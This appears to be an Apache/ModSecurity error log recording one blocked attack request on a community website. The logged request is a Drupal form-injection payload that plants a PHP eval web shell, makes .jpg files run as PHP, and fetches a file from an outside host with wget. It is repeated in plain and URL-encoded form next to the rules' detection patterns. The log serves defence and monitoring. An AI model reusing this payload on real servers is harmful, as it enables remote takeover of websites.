_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.288741 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; ec..."] [severit [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.288841 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "159"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [t [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.288910 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.288980 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "295"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.289118 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.289242 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.289344 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase "$_POST" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "161"] [id "933130"] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_POST found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.289484 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-mul [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.289590 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: eval( found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.291102 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 50)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:53.295285 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 50 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=30,PHPI=15,HTTP=0,SESS=0): individual paranoia level scores: 50, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:16:56.203619 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:56.854630 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:37398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:59.853674 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:37640] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:01.107545 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:37698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:01.668602 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXpYl9vhFBGA6D8l90bwAAAAw"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
